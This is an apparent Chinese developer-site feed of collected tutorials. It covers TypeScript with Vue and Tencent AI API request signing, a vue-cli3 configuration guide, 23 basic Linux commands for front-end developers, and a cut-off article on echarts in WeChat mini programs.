  private effectImg: string = '';

methods:

private choose(id: number, index: number) {
    this.sticker = id;
    this.active = index;
  }
  private postData(url: string, params: object) {
    const self: IParams = this;
    axios.post(url, qs.stringify(params), {
      headers: {'Content-Type': 'application/x-www-form-urlencoded'},
    }).then( (response) => {
        console.log(response.data);
        if (response.data.ret === 0) {
            self.effectImg = 'data:image/jpeg;base64,' + response.data.data.image;
        }
    }).catch((error) => {
        console.log(error);
    });
  }

computed:

// computed
  get getMsg() {
    return this.msg + '11111';
  }
  get testTxt() {
    return this.$store.state.testTxt;
  }

3、vuex的使用

在store里写法基本不变只要遵循ts的规则即可;
主要是说一下使用的时候的注意事项,话不多说直接上代码
引如

// 使用vuex
import {
  State,
  Getter,
  Action,
  Mutation,
  namespace,
} from 'vuex-class';
const userModule = namespace('user')

声明

@State('testNum')  public testNum!: any;
  @Action('UPDATA_CHANGE_LOGIN') public UPDATA_CHANGE_LOGIN!: Function;
  @Mutation('CHANGE_LOGIN') public CHANGE_LOGIN!: Function;
  @userModule.State('firstName') public firstName!: string;
  @userModule.State('lastName') public lastName!: string;
  @userModule.Mutation('UPDATE_FIRST_NAME') public UPDATE_FIRST_NAME!: Function

然后像以前那样使用即可;

以上是我写的使用typeScript、vue-cli3框架编写的demo的重点;

下面主要说一下前端使用腾讯ai接口做一些效果;
关于注册、创建应用这些可以自己在网站尝试

1、接口鉴权

前端是没有权限直接调用接口鉴权的,因为有跨域问题,一般需要后台配合,所以以下这些代码可以使用nodejs开发;
因为是在vue框架下做的开发,vue帮助我们做了服务器代理,所以我们可以在本地配置代理服务器,看下效果,同时了解基本的步骤,后续使用nodejs做接口鉴权;话不多少上代码
主要是签名算法,遵循腾讯的签名算法规则 详见https://ai.qq.com/doc/auth.shtml
签名算法步骤

  1. 将<key, value>请求参数对按key进行字典升序排序,得到有序的参数对列表N
  2. 将列表N中的参数对按URL键值对的格式拼接成字符串,得到字符串T(如:key1=value1&key2=value2),URL键值拼接过程value部分需要URL编码,URL编码算法用大写字母,例如%E8,而不是小写%e8
  3. 将应用密钥以app_key为键名,组成URL键值拼接到字符串T末尾,得到字符串S(如:key1=value1&key2=value2&app_key=密钥)
  4. 对字符串S进行MD5运算,将得到的MD5值所有字符转换成大写,得到接口请求签名
private postPurikura() { // 调用大头贴的接口,参数详见腾讯开放平台apihttps://ai.qq.com/doc/facesticker.shtml
    const params: IParams = {
      app_id: this.appId,
      time_stamp: parseInt((new Date().getTime() / 1000).toString(), 10),
      nonce_str: Math.random().toString().substr(3, 8) + Date.now().toString(36),
      image: this.imgBase64,
      sticker: this.sticker,
    };
    const sign = this.getSign(params, this.appKay); // 签名算法,遵循腾讯的签名算法规则 详见https://ai.qq.com/doc/auth.shtml
    params.sign = sign;
    this.postData(apis.facesticker, params);
  }
private getSign(params: any, appkey: string) {
    const sortArr = Object.keys(params).sort((x: string, y: string): number => {
      return x.localeCompare(y, 'zh-Hans-CN', { sensitivity: 'accent' });
    }); 
    const newParams: IParams = {};
    sortArr.forEach((ele: string) => {
      newParams[ele] = params[ele];
    });// 请求参数对按key进行**字典升序**排序
    console.log(newParams);
    let url: string = '';
    Object.keys(newParams).forEach((key: string, i) => {
      if (newParams[key] !== '') {
        url += key + '=' + encodeURIComponent(newParams[key]) + '&';
      }
    });
    url += 'app_key=' + appkey; // 列表N中的参数对按**URL键值对的格式**拼接成字符串,并将应用密钥以app\_key为键名,组成URL键值拼接到字符串T末尾,得到**字符串S**(如:key1=value1&key2=value2&app\_key=密钥)
    const md5url = md5(url); // 对字符串S进行MD5运算
    const sign = md5url.toUpperCase(); // 的**MD5值所有字符转换成大写**,得到接口**请求签名**
    console.log(sign);
    return sign;
  }

ts书写过程中的注意事项

1、对象要创建接口;直接定义类型为object,必须是已经确定的属性和值,如果新加属性,则会标红提示没有这个属性值;创建接口的方式如下

interface IParams {
  [x: string]: any
} // 使用的时候,就可以给reader随意增加属性
`const reader: IParams = new FileReader();`

2、parseInt要传2个参数,不然会报Missing radix parameter,这个意思是缺少一个基数根
parseInt(string, radix)函数的,这个函数一共需要两个参数:

  • string:必需。要被解析的字符串。
  • radix: 可选。表示要解析的数字的基数。该值介于 2 ~ 36 之间。如果省略该参数或其值为 0,则数字将以 10 为基础来解析。如果它以 “0x” 或 “0X” 开头,将以 16 为基数。如果该参数小于 2 或者大于 36,则 parseInt() 将返回 NaN。

3、控制台报错 Calls to 'console.log' are not allowed.不被允许写入console,要在tslint.json中的rules中加入 "no-console": false。方便测试
4、注意和js做区分,一句代码结束要加;,对象的最后一个属性要加,
5、如果VSCode编辑器有警告提示,比如:
Experimental support for decorators is a feature that is subject to change in a future release. Set the 'experimentalDecorators' option to remove this warning.
可以把工作区其他的项目移除,或者把本项目拖动到工作区的首位,或者在把本项目的tsconfig.json复制到工作区首位的项目的根目录下,重启编辑器,有比较大的概率可以解决警告提示。

查看原文

赞 4 收藏 1 评论 0

eric2014 收藏了文章 · 2020-05-11

一份关于vue-cli3项目常用项配置

  1. 配置全局cdn,包含js、css
  2. 开启Gzip压缩,包含文件js、css
  3. 去掉注释、去掉console.log
  4. 压缩图片
  5. 本地代理
  6. 设置别名,vscode也能识别
  7. 配置环境变量开发模式、测试模式、生产模式
  8. 请求路由动态添加
  9. axios配置
  10. 添加mock数据
  11. 配置全局less
  12. 只打包改变的文件
  13. 开启分析打包日志

vue.config.js

完整的架构配置

const path = require('path');
const UglifyJsPlugin = require('uglifyjs-webpack-plugin') // 去掉注释
const CompressionWebpackPlugin = require('compression-webpack-plugin'); // 开启压缩
const { HashedModuleIdsPlugin } = require('webpack');

function resolve(dir) {
    return path.join(__dirname, dir)
}

const isProduction = process.env.NODE_ENV === 'production';

// cdn预加载使用
const externals = {
    'vue': 'Vue',
    'vue-router': 'VueRouter',
    'vuex': 'Vuex',
    'axios': 'axios',
    "element-ui": "ELEMENT"
}

const cdn = {
    // 开发环境
    dev: {
        css: [
            'https://unpkg.com/element-ui/lib/theme-chalk/index.css'
        ],
        js: []
    },
    // 生产环境
    build: {
        css: [
            'https://unpkg.com/element-ui/lib/theme-chalk/index.css'
        ],
        js: [
            'https://cdn.jsdelivr.net/npm/vue@2.5.17/dist/vue.min.js',
            'https://cdn.jsdelivr.net/npm/vue-router@3.0.1/dist/vue-router.min.js',
            'https://cdn.jsdelivr.net/npm/vuex@3.0.1/dist/vuex.min.js',
            'https://cdn.jsdelivr.net/npm/axios@0.18.0/dist/axios.min.js',
            'https://unpkg.com/element-ui/lib/index.js'
        ]
    }
}

module.exports = {

    lintOnSave: false, // 关闭eslint
    productionSourceMap: false,
    publicPath: './', 
    outputDir: process.env.outputDir, // 生成文件的目录名称
    chainWebpack: config => {

        config.resolve.alias
            .set('@', resolve('src'))

        // 压缩图片
        config.module
            .rule('images')
            .test(/\.(png|jpe?g|gif|svg)(\?.*)?$/)
            .use('image-webpack-loader')
            .loader('image-webpack-loader')
            .options({ bypassOnDebug: true })

        // webpack 会默认给commonChunk打进chunk-vendors,所以需要对webpack的配置进行delete
        config.optimization.delete('splitChunks')

        config.plugin('html').tap(args => {
            if (process.env.NODE_ENV === 'production') {
                args[0].cdn = cdn.build
            }
            if (process.env.NODE_ENV === 'development') {
                args[0].cdn = cdn.dev
            }
            return args
        })
        
        config
            .plugin('webpack-bundle-analyzer')
            .use(require('webpack-bundle-analyzer').BundleAnalyzerPlugin)
    },

    configureWebpack: config => {
        const plugins = [];

        if (isProduction) {
            plugins.push(
                new UglifyJsPlugin({
                    uglifyOptions: {
                        output: {
                            comments: false, // 去掉注释
                        },
                        warnings: false,
                        compress: {
                            drop_console: true,
                            drop_debugger: false,
                            pure_funcs: ['console.log']//移除console
                        }
                    }
                })
            )
            // 服务器也要相应开启gzip
            plugins.push(
                new CompressionWebpackPlugin({
                    algorithm: 'gzip',
                    test: /\.(js|css)$/,// 匹配文件名
                    threshold: 10000, // 对超过10k的数据压缩
                    deleteOriginalAssets: false, // 不删除源文件
                    minRatio: 0.8 // 压缩比
                })
            )

            // 用于根据模块的相对路径生成 hash 作为模块 id, 一般用于生产环境
            plugins.push(
                new HashedModuleIdsPlugin()
            )

            // 开启分离js
            config.optimization = {
                runtimeChunk: 'single',
                splitChunks: {
                    chunks: 'all',
                    maxInitialRequests: Infinity,
                    minSize: 1000 * 60,
                    cacheGroups: {
                        vendor: {
                            test: /[\\/]node_modules[\\/]/,
                            name(module) {
                                // 排除node_modules 然后吧 @ 替换为空 ,考虑到服务器的兼容
                                const packageName = module.context.match(/[\\/]node_modules[\\/](.*?)([\\/]|$)/)[1]
                                return `npm.${packageName.replace('@', '')}`
                            }
                        }
                    }
                }
            };

            // 取消webpack警告的性能提示
            config.performance = {
                hints: 'warning',
                //入口起点的最大体积
                maxEntrypointSize: 1000 * 500,
                //生成文件的最大体积
                maxAssetSize: 1000 * 1000,
                //只给出 js 文件的性能提示
                assetFilter: function (assetFilename) {
                    return assetFilename.endsWith('.js');
                }
            }

            // 打包时npm包转CDN
            config.externals = externals;
        }

        return { plugins }
    },

    pluginOptions: {
        // 配置全局less
        'style-resources-loader': {
            preProcessor: 'less',
            patterns: [resolve('./src/style/theme.less')]
        }
    },
    devServer: {
        open: false, // 自动启动浏览器
        host: '0.0.0.0', // localhost
        port: 6060, // 端口号
        https: false,
        hotOnly: false, // 热更新
        proxy: {
            '^/sso': {
                target: process.env.VUE_APP_SSO, // 重写路径
                ws: true,   //开启WebSocket
                secure: false,      // 如果是https接口,需要配置这个参数
                changeOrigin: true
            }
        }
    }
}

html模板配置cdn

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width,initial-scale=1.0">
    <link rel="icon" href="<%= BASE_URL %>favicon.ico">
    <title><%= htmlWebpackPlugin.options.title %></title>
    <% for (var i in
        htmlWebpackPlugin.options.cdn && htmlWebpackPlugin.options.cdn.css) { %>
    <link href="<%= htmlWebpackPlugin.options.cdn.css[i] %>" rel="preload" as="style" />
    <link href="<%= htmlWebpackPlugin.options.cdn.css[i] %>" rel="stylesheet" />
    <% } %>
</head>

<body>
    <noscript>
        <strong>We're sorry but <%= htmlWebpackPlugin.options.title %> doesn't work properly without JavaScript enabled.
            Please enable it to continue.</strong>
    </noscript>
    <div id="app"></div>
    <!-- built files will be auto injected -->
    <% for (var i in
        htmlWebpackPlugin.options.cdn && htmlWebpackPlugin.options.cdn.js) { %>
    <script data-original="<%= htmlWebpackPlugin.options.cdn.js[i] %>"></script>
    <% } %>
</body>
</html>

开启Gzip压缩,包含文件js、css

new CompressionWebpackPlugin({
      algorithm: 'gzip',
      test: /\.(js|css)$/, // 匹配文件名
      threshold: 10000, // 对超过10k的数据压缩
      deleteOriginalAssets: false, // 不删除源文件
      minRatio: 0.8 // 压缩比
})

去掉注释、去掉console.log

安装cnpm i uglifyjs-webpack-plugin -D

const UglifyJsPlugin = require('uglifyjs-webpack-plugin')
new UglifyJsPlugin({
    uglifyOptions: {
        output: {
            comments: false, // 去掉注释
        },
        warnings: false,
        compress: {
            drop_console: true,
            drop_debugger: false,
            pure_funcs: ['console.log'] //移除console
        }
    }
})

压缩图片

chainWebpack: config => {
    // 压缩图片
    config.module
        .rule('images')
        .test(/\.(png|jpe?g|gif|svg)(\?.*)?$/)
        .use('image-webpack-loader')
        .loader('image-webpack-loader')
        .options({ bypassOnDebug: true })

}

本地代理

devServer: {
    open: false, // 自动启动浏览器
    host: '0.0.0.0', // localhost
    port: 6060, // 端口号
    https: false,
    hotOnly: false, // 热更新
    proxy: {
        '^/sso': {
            target: process.env.VUE_APP_SSO, // 重写路径
            ws: true, //开启WebSocket
            secure: false, // 如果是https接口,需要配置这个参数
            changeOrigin: true
        }
    }
}

设置vscode 识别别名

在vscode中插件安装栏搜索 Path Intellisense 插件,打开settings.json文件添加 以下代码 "@": "${workspaceRoot}/src",安以下添加

{
    "workbench.iconTheme": "material-icon-theme",
    "editor.fontSize": 16,
    "editor.detectIndentation": false,
    "guides.enabled": false,
    "workbench.colorTheme": "Monokai",
    "path-intellisense.mappings": {
        "@": "${workspaceRoot}/src"
    }
}

在项目package.json所在同级目录下创建文件jsconfig.json

{
    "compilerOptions": {
        "target": "ES6",
        "module": "commonjs",
        "allowSyntheticDefaultImports": true,
        "baseUrl": "./",
        "paths": {
          "@/*": ["src/*"]
        }
    },
    "exclude": [
        "node_modules"
    ]
}

如果还没请客官移步在vscode中使用别名@按住ctrl也能跳转对应路径

配置环境变量开发模式、测试模式、生产模式

在根目录新建

.env.development

# 开发环境
NODE_ENV='development'

VUE_APP_SSO='http://http://localhost:9080'

.env.test

NODE_ENV = 'production' # 如果我们在.env.test文件中把NODE_ENV设置为test的话,那么打包出来的目录结构是有差异的
VUE_APP_MODE = 'test'
VUE_APP_SSO='http://http://localhost:9080'
outputDir = test

.env.production

NODE_ENV = 'production'

VUE_APP_SSO='http://http://localhost:9080'

package.json

"scripts": {
    "build": "vue-cli-service build", //生产打包
    "lint": "vue-cli-service lint",
    "dev": "vue-cli-service serve", // 开发模式
    "test": "vue-cli-service build --mode test", // 测试打包
    "publish": "vue-cli-service build && vue-cli-service build --mode test" // 测试和生产一起打包
 }

请求路由动态添加

router/index.js文件

import Vue from 'vue';
import VueRouter from 'vue-router'
Vue.use(VueRouter)

import defaultRouter from './defaultRouter'
import dynamicRouter from './dynamicRouter';

import store from '@/store';

const router = new VueRouter({
    routes: defaultRouter,
    mode: 'hash',
    scrollBehavior(to, from, savedPosition) {
        // keep-alive 返回缓存页面后记录浏览位置
        if (savedPosition && to.meta.keepAlive) {
            return savedPosition;
        }
        // 异步滚动操作
        return new Promise((resolve, reject) => {
            setTimeout(() => {
                resolve({ x: 0, y: 0 })
            }, 200)
        })
    }
})

// 消除路由重复警告
const selfaddRoutes = function (params) {
    router.matcher = new VueRouter().matcher;
    router.addRoutes(params);
}

// 全局路由拦截
router.beforeEach((to, from, next) => {
    const { hasRoute } = store.state; // 防止路由重复添加
    if (hasRoute) {
        next()
    } else {
        dynamicRouter(to, from, next, selfaddRoutes)
    }
})

export default router;

dynamicRouter.js

import http from '@/http/request';
import defaultRouter from './defaultRouter'
import store from '@/store'

// 重新构建路由对象
const menusMap = function (menu) {
    return menu.map(v => {
        const { path, name, component } = v
        const item = {
            path,
            name,
            component: () => import(`@/${component}`)
        }
        return item;
    })
}


// 获取路由
const addPostRouter = function (to, from, next, selfaddRoutes) {
    http.windPost('/mock/menu') // 发起请求获取路由
        .then(menu => {
            defaultRouter[0].children.push(...menusMap(menu));
            selfaddRoutes(defaultRouter);
            store.commit('hasRoute', true);
            next({ ...to, replace: true })
        })
}

export default addPostRouter;

defaultRouter.js 默认路由

const main = r => require.ensure([], () => r(require('@/layout/main.vue')), 'main')
const index = r => require.ensure([], () => r(require('@/view/index/index.vue')), 'index')
const about = r => require.ensure([], () => r(require('@/view/about/about.vue')), 'about')
const detail = r => require.ensure([], () => r(require('@/view/detail/detail.vue')), 'detail')
const error = r => require.ensure([], () => r(require('@/view/404/404.vue')), 'error');
const defaultRouter = [
    {
        path: "/", 
        component: main, // 布局页
        redirect: {
            name: "index"
        },
        children:[
            {
                path: '/index',
                component: index,
                name: 'index',
                meta: {
                    title: 'index'
                }
            },
            {
                path: '/about',
                component: about,
                name: 'about',
                meta: {
                    title: 'about'
                }
            },
            {
                path: '/detail',
                component: detail,
                name: 'detail',
                meta: {
                    title: 'detail'
                }
            }
        ]
    },
    {
        path: '/404',
        component: error,
        name: '404',
        meta: {
            title: '404'
        }
    }
]
export default defaultRouter;

axios配置

import axios from "axios";
import merge from 'lodash/merge'
import qs from 'qs'

/**
 * 实例化
 * config是库的默认值,然后是实例的 defaults 属性,最后是请求设置的 config 参数。后者将优先于前者
 */
const http = axios.create({
    timeout: 1000 * 30,
    withCredentials: true, // 表示跨域请求时是否需要使用凭证
});

/**
 * 请求拦截
 */
http.interceptors.request.use(function (config) {
    return config;
}, function (error) {
    return Promise.reject(error);
});


/**
 * 响应拦截
 */
http.interceptors.response.use(response => {
    // 过期之类的操作
    if (response.data && (response.data.code === 401)) {
        // window.location.href = ''; 重定向
    }
    return response
}, error => {
    return Promise.reject(error)
})


/**
 * 请求地址处理
 */
http.adornUrl = (url) => {
    return url;
}

/**
 * get请求参数处理
 * params 参数对象
 * openDefultParams 是否开启默认参数
 */
http.adornParams = (params = {}, openDefultParams = true) => {
    var defaults = {
        t: new Date().getTime()
    }
    return openDefultParams ? merge(defaults, params) : params
}


/**
 * post请求数据处理
 * @param {*} data 数据对象
 * @param {*} openDefultdata 是否开启默认数据?
 * @param {*} contentType 数据格式
 *  json: 'application/json; charset=utf-8'
 *  form: 'application/x-www-form-urlencoded; charset=utf-8'
 */
http.adornData = (data = {}, openDefultdata = true, contentType = 'json') => {
    var defaults = {
        t: new Date().getTime()
    }
    data = openDefultdata ? merge(defaults, data) : data
    return contentType === 'json' ? JSON.stringify(data) : qs.stringify(data)
}


/**
 * windPost请求
 * @param {String} url [请求地址]
 * @param {Object} params [请求携带参数]
 */
http.windPost = function (url, params) {
    return new Promise((resolve, reject) => {
        http.post(http.adornUrl(url), qs.stringify(params))
            .then(res => {
                resolve(res.data)
            })
            .catch(error => {
                reject(error)
            })
    })
}


/**
 * windJsonPost请求
 * @param {String} url [请求地址]
 * @param {Object} params [请求携带参数]
 */
http.windJsonPost = function (url, params) {
    return new Promise((resolve, reject) => {
        http.post(http.adornUrl(url), http.adornParams(params))
            .then(res => {
                resolve(res.data)
            })
            .catch(error => {
                reject(error)
            })
    })
}


/**
 * windGet请求
 * @param {String} url [请求地址]
 * @param {Object} params [请求携带参数]
 */
http.windGet = function (url, params) {
    return new Promise((resolve, reject) => {
        http.get(http.adornUrl(url), { params: params })
            .then(res => {
                resolve(res.data)
            })
            .catch(error => {
                reject(error)
            })
    })
}

/**
 * 上传图片
 */
http.upLoadPhoto = function (url, params, callback) {
    let config = {}
    if (callback !== null) {
        config = {
            onUploadProgress: function (progressEvent) {
                //属性lengthComputable主要表明总共需要完成的工作量和已经完成的工作是否可以被测量
                //如果lengthComputable为false,就获取不到progressEvent.total和progressEvent.loaded
                callback(progressEvent)
            }
        }
    }
    return new Promise((resolve, reject) => {
        http.post(http.adornUrl(url), http.adornParams(params), config)
            .then(res => {
                resolve(res.data)
            })
            .catch(error => {
                reject(error)
            })
    })
}
export default http;

添加mock数据

const Mock = require('mockjs')

// 获取 mock.Random 对象
const Random = Mock.Random
// mock新闻数据,包括新闻标题title、内容content、创建时间createdTime
const produceNewsData = function () {
    let newsList = []
    for (let i = 0; i < 3; i++) {
        let newNewsObject = {}
        if(i === 0){
            newNewsObject.path = '/add/article';
            newNewsObject.name  = 'add-article';
            newNewsObject.component = 'modules/add/article/article';
        }
        if(i === 1){
            newNewsObject.path = '/detail/article';
            newNewsObject.name  = 'detail-article';
            newNewsObject.component = 'modules/detail/article/article'
        }
        if(i === 2){
            newNewsObject.path = '/edit/article';
            newNewsObject.name  = 'edit-article';
            newNewsObject.component = 'modules/edit/article/article'
        }
        newsList.push(newNewsObject)
    }
    return newsList;
}
Mock.mock('/mock/menu', produceNewsData)

配置全局less

pluginOptions: {
    // 配置全局less
    'style-resources-loader': {
        preProcessor: 'less',
        patterns: [resolve('./src/style/theme.less')]
    }
}

只打包改变的文件

安装cnpm i webpack -D

const { HashedModuleIdsPlugin } = require('webpack');
configureWebpack: config => {    
    const plugins = [];
    plugins.push(
        new HashedModuleIdsPlugin()
    )
}

开启分析打包日志

安装cnpm i webpack-bundle-analyzer -D

chainWebpack: config => {
    config
        .plugin('webpack-bundle-analyzer')
        .use(require('webpack-bundle-analyzer').BundleAnalyzerPlugin)
}

完整代码

image.png

点击获取完整代码github

获取更多相关知识

横版二维码.png

查看原文

eric2014 收藏了文章 · 2020-04-11

前端应该会的23个linux常用命令

rm_rf.jpeg

前言

一个前端好好切图不好吗?为什么要学 linux 呢? 嗯,真香 !

1. ls 命令 : 显示目录内容列表

Linux ls 命令用于显示指定工作目录下之内容(列出目前工作目录所含之文件及子目录)。

ls [-alrtAFR] [name...]

常用 options

  • -a 显示所有文件及目录 (ls 内定将文件名或目录名称开头为"."的视为隐藏档,不会列出)
  • -A 同 -a ,但不列出 "." (目前目录) 及 ".." (父目录)
  • -R 若目录下有文件,则以下之文件亦皆依序列出

ls-example.png

2. rm 命令 : 删除文件/目录

Linux rm 命令用于删除一个文件或者目录。

rm [options] [name...]

options:

  • -i 删除前逐一询问确认
  • -r 或-R:递归处理,将指定目录下的所有文件与子目录一并处理
  • -f:强制删除文件或目录

rm-example.png
rm.png

3. tail 命令 : 查看文件内容

tail 命令可用于查看文件的内容,有一个常用的参数 -f 常用于查阅正在改变的日志文件。

tail -f filename 会把 filename 文件里的最尾部的内容显示在屏幕上,并且不断刷新,只要 filename 更新就可以看到最新的文件内容。

tail [options][file]

常用 options:

  • -f 循环读取

tail-example.png

4. mv 命令 : 文件移动/改名

Linux mv 命令用来为文件或目录改名、或将文件或目录移入其它位置。

mv [options] source dest
# or
mv [options] source... directory

options:

  • -i: 若指定目录已有同名文件,则先询问是否覆盖旧文件
  • -f: 在 mv 操作要覆盖某已有的目标文件时不给任何指示
命令格式运行结果
mv 文件名 文件名将源文件名改为目标文件名
mv 文件名 目录名将文件移动到目标目录
mv 目录名 目录名目标目录已存在,将源目录移动到目标目录.目标目录不存在则改名
mv 目录名 文件名出错

mv-example.png

5. touch 命令 : 新建文件

Linux touch 命令用于修改文件或者目录的时间属性,包括存取时间和更改时间。若文件不存在,系统会建立一个新的文件。

ls -l 可以显示档案的时间记录。

touch [file]

touch-example.png

6. which 命令 : 查找文件

which 指令会在环境变量&dollar;PATH 设置的目录里查找符合条件的文件。

which [file...]

which-example.png

7. cp 命令 : 复制文件/目录

Linux cp 命令主要用于复制文件或目录。

cp [options] source dest
# or
cp [options] source... directory

常用 options:

  • -f:覆盖已经存在的目标文件而不给出提示。
  • -r:若给出的源文件是一个目录文件,此时将复制该目录下所有的子目录和文件。

cp-example.png

8. cd 命令 : 切换工作目录

Linux cd 命令用于切换当前工作目录至 dirName(目录参数)。

其中 dirName 表示法可为绝对路径或相对路径。若目录名称省略,则变换至使用者的 home 目录,"~" 也表示为 home 目录 的意思

cd [dirName]

cd-example.png

9. pwd 命令 : 显示工作目录

Linux pwd 命令用于显示工作目录。

执行 pwd 指令可立刻得知您目前所在的工作目录的绝对路径名称。

pwd

pwd-example.png

10. mkdir 命令 : 创建目录

Linux mkdir 命令用于建立名称为 dirName 之子目录。

mkdir [-p] dirName

options

  • -p 确保目录名称存在,不存在的就建一个。

mkdir-example.png

11. rmdir 命令 : 删除空目录

Linux rmdir 命令删除空的目录。

rmdir [-p] dirName

options

  • -p 是当子目录被删除后使它也成为空目录的话,则顺便一并删除。

rmdir-example.png

12. cat 命令 : 查看文件内容

cat 命令用于连接文件并打印到标准输出设备上。

cat fileName

cat-example.png

13. ping 命令 : 检测主机

执行 ping 指令会使用 ICMP 传输协议,发出要求回应的信息,若远端主机的网络功能没有问题,就会回应该信息,因而得知该主机运作正常。

ping  [主机名称或IP地址]

常用 options:

  • -c<完成次数> 设置完成要求回应的次数。

ping-example.png

14. telnet 命令 : 端口是否可访问

虽然 Linux telnet 命令主要用于远端登入。执行 telnet 指令开启终端机阶段作业,并登入远端主机,

但是我更经常用它来查看某个远端主机端口是否可访问。

telnet [主机名称或IP地址<通信端口>]

telnet-example.png

15. grep 命令 : 查找关键字

Linux grep 命令用于查找文件里符合条件的字符串。

grep [文件或目录...]

grep-example.png

16. ps 命令 : 显示当前进程状态

Linux ps 命令用于显示当前进程 (process) 的状态。

ps [options]

常用 options

  • -e 显示所有进程。
  • -f 全格式。
ps -ef # 显示所有命令,连带命令行

17. | 命令 : 管道命令

通常情况下,我们只执行一条命令,那么如何执行多条命令呢?

管道是一种通信机制,通常用于进程间的通信(也可通过 socket 进行网络通信),它表现出来的形式将前面每一个进程的输出(stdout)直接作为下一个进程的输入(stdin)。
  • 只能处理前一条指令的正确输出,不能处理错误输出
  • 管道命令必须要能够接受来自前一个命令的数据成为 standard input 继续处理才行。

pipe-example.png

18. kill 命令 : 杀死进程

Linux kill 命令用于删除执行中的程序或工作。

kill 可将指定的信息送至程序。预设的信息为 SIGTERM(15),可将指定程序终止。若仍无法终止该程序,可使用 SIGKILL(9)信息尝试强制删除程序。程序或工作的编号可利用 ps 指令或 jobs 指令查看。

kill [-s <信息名称或编号>][程序] 或 kill [-l <信息编号>]

kill-example.png

19. top 命令 : 实时显示进程动态

Linux top 命令用于实时显示 process 的动态。

top

常用 options:

  • -pid 指定进程 id
top -pid 4712

top-example.gif

20. clear 命令 : 清除屏幕

Linux clear 命令用于清除屏幕。

clear

clear-example.gif

21. alias 命令 : 别名配置

Linux alias 命令用于设置指令的别名。

用户可利用 alias,自定指令的别名。若仅输入 alias,则可列出目前所有的别名设置。alias 的效力仅及于该次登入的操作。若要每次登入是即自动设好别名,可在.profile 或.cshrc 中设定指令的别名。

alias[别名]=[指令名称]

比如 git 原先就配置了一些别名,我们来看看

alias-example.png

22. find 命令 : 查找文件

Linux find 命令用来在指定目录下查找文件。任何位于参数之前的字符串都将被视为欲查找的目录名。

如果使用该命令时,不设置任何参数,则 find 命令将在当前目录下查找子目录与文件。并且将查找到的子目录和文件全部进行显示。

find   path   -option   [   -print ]   [ -exec   -ok   command ]   {} \;

find-example.png

23. curl 命令 : 文件传输

linux curl 是通过 url 语法在命令行下上传或下载文件的工具软件,它支持 http,https,ftp,ftps,telnet 等多种协议,常被用来抓取网页和监控 Web 服务器状态。

curl [options] [url]

常用 options:

  • -o 把输出写到该文件中
  • -I 仅仅返回 header

curl 命令能做很多事,用过的人都说香,我说说我常用的场景吧:

  1. 调试请求

curl-example-1.png

  1. 查看头部信息

curl-example-3.png

  1. 抓取网页

curl-example-2.png

后记

如果你和我一样喜欢前端,也爱动手折腾,欢迎关注我一起玩耍啊~ ❤️

博客

我的博客

公众号

qrcode.gif

查看原文

eric2014 关注了问题 · 2020-03-25

请问uniapp如何将图片绝对路径转化为BASE64格式?

请问如何将地图绝对路径转化为BASE64格式?
我用canvas裁剪一张图片,得到的是图片的绝对路径,上传到服务器需要BASE64

_doc/uniapp_temp_1557369968195/canvas/1557369991367.jpg  

请问要怎么转化为BASE64格式?

关注 3 回答 1

eric2014 赞了文章 · 2020-03-16

微信小程序中使用echarts以及踩坑总结

人在家中坐,锅从天上来

半个月前本来在家写着一个项目,还没来得及提测,领导突然一个电话,需要立刻去支援另一个项目,一打听,一个烂尾半年的项目,纵使内心不愿意,还是要去啊。因为鲁迅说过,生活就像强*,既然不能反抗,那就好好享受吧。

这个项目分为PC端、用户端小程序和商家端小程序,这里主要讲讲在商家端中的某个模块,需要用到数据统计图表,当时觉得有两个插件不错:

因为之前在项目中使用echarts比较多,所以最终选择了echarts作为项目中的图表插件。

echarts的引入

我是按照echarts官网教程来引入的,很简单,不多说。传送门

echarts中使用多个图表

wxml代码如下:

<!--图表1-->
<view class="echarts-container" hidden="{{!isShoweyes || !echartsData.totalRecentRansactions.allTotalMoney}}">
    <ec-canvas id="mychart-dom-turnover" canvas-id="mychart-turnover" ec="{{ turnoverEc }}"></ec-canvas>
</view>
<!--图表2-->
<view class="echarts-container" hidden="{{!isShoweyes || !echartsData.shopNewCustomerRespVo.allNewCustomer}}">
    <ec-canvas id="mychart-dom-customer" canvas-id="mychart-customer" ec="{{ customerEc }}"></ec-canvas>
</view>
<!--图表3-->
<view class="echarts-container" hidden="{{!isShoweyes || !echartsData.customerOrderAverageRespVo.customerAverage}}">
    <ec-canvas id="mychart-dom-price" canvas-id="mychart-price" ec="{{ priceEc }}"></ec-canvas>
</view>

js代码如下

<!--通过lazyLoad设置图表懒加载-->
data: {
    isShoweyes: true,
    turnoverEc: {
      lazyLoad: true,
    },
    customerEc: {
      lazyLoad: true,
    },
    priceEc: {
      lazyLoad: true,
    },
    echartsData: {}
  },
  
<!--页面加载时创建对应的canvas面板-->
onLoad: function (options) {
    this.echartsComponnet1 = this.selectComponent('#mychart-dom-turnover');
    this.echartsComponnet2 = this.selectComponent('#mychart-dom-customer');
    this.echartsComponnet3 = this.selectComponent('#mychart-dom-price');
  },
  <!--获取到数据后,初始化报表-->
  getData: function () {
    //  .... 获取数据
    
    <!--此用循环初始化几个图表-->
    for (let i = 1; i < 4; i++) {
        if (!Chart[i]) {
          this.initEcharts(i); //初始化图表
        } else {
          this.setOption(i); //更新数据
        }
      }
  },
  <!--//初始化图表-->
  initEcharts: function (i) {
    this['echartsComponnet' + i].init((canvas, width, height) => {
      // 初始化图表
      Chart[i - 1] = echarts.init(canvas, null, {
        width: width,
        height: height
      });
      this.setOption(i);
      // 注意这里一定要返回 chart 实例,否则会影响事件处理等
      return Chart[i - 1];
    });
  },
  setOption: function (i) {
    Chart[i - 1].clear(); // 清除
    Chart[i - 1].setOption(this['getOption' + i]()); //获取新数据
  },
  
  <!--设置报表需要的配置项-->
  getOption1() {
    let {
      echartsData
    } = this.data;
    return {
      color: ['#0179FF'],
      tooltip: {
        trigger: 'axis',
        axisPointer: { // 坐标轴指示器,坐标轴触发有效
          type: 'shadow', // 默认为直线,可选为:'line' | 'shadow'
          shadowStyle: {
            opacity: 0.8
          }
        },
        formatter: this.formatterTooltip,
        position: this.setTooltipPositionfunction
      },
      grid: {
        left: 20,
        right: 20,
        bottom: 15,
        top: 40,
        containLabel: true
      },
      xAxis: [{
        type: 'category',
        axisLine: {
          lineStyle: {
            color: '#999',
          }
        },
        axisLabel: {
          color: '#666',
        },
        data: echartsData.totalRecentRansactions.dates,
      }
      ],
      yAxis: [{
        type: 'value',
        axisTick: {
          show: false
        },
        axisLine: {
          show: false,
          lineStyle: {
